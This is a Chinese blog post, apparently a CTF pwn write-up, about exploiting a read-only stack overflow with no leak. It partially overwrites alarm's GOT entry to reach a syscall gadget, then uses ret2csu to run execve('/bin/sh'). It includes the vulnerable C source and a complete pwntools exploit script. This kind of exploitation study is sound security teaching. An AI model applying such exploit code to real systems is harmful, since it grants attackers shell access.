No_leak(ret2ROP + 低字节改写到syscall)

No_leak

有这种题,题目很短小,只有一个read函数,没有输出函数,这样的题怎么解呢?当然首先想到的是ret2dl,但是那个有点儿复杂。下面我来介绍一种简单的解法。

代码如下:

//gcc 1.c  -no-pie -fno-stack-protector -o test
#include <unistd.h>
#include <stdio.h>

void func(){
	char buf[0x20];
	return read(0,buf,0x100);
}

int main()
{
	setvbuf(stdin , 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	alarm(0x2333);
	func();
	return 0;
}

先来看看保护:

image-20200513191243066

程序很很简单,就是简单的栈溢出,遇到这种题,我们首选ROP,当然ret2dl也是ROP中的一种。

方法就是ret2csu 或者ret2ROP ➕ 低字节改写到syscall。

先来看看got表

image-20200513184910564

我们知道函数在第一次调用时,会把真实的地址写到got表中。这里我们选择alarm。

image-20200513184956512

我们用x/100i 0x00007ffff7ad9200(注意低1位字节设置为0)我们找找看有没有syscall。

image-20200513185140350

可以看到0x00007ffff7ad9205的地方存在syscall,好了,接下来我们只要想办法修改alarm的got的低位字节为05,然后使用ROP控制其他寄存器的参数,就可以实现syscall调用execve('/bin/sh\x00',0,0)

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./test')
elf = ELF('./test')

bss = 0x0601038
pop_rdi_ret = 0x400773
pop_rsi_r15_ret = 0x400771
main = 0x0400696

#往bss中写入 /bin/sh\x00
payload = 'A'*0x28 + p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(elf.plt['read'])+p64(main)
p.sendline(payload)
sleep(1)
p.sendline('/bin/sh\x00')



payload  = 'B'*0x28+p64(pop_rsi_r15_ret)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read'])  #改写alarm的值
payload += p64(pop_rsi_r15_ret)+p64(0x0601050)+p64(0)+p64(elf.plt['read'])    #这里调用read是为了控制rax为0x3b
payload += p64(0x40076A)+ p64(0)+p64(1)+p64(elf.got['alarm'])+p64(0)+p64(0)+p64(bss)+p64(0x400750) #通过ret2csu控制其他参数
p.sendline(payload)

sleep(1)
p.send('\x05')#改写alarm到syscall
sleep(1)
p.send('C'*0x3b)#使得rax=0x3b

p.interactive()
posted @ 2020-05-13 19:10  Rookle  阅读(600)  评论(0)    收藏  举报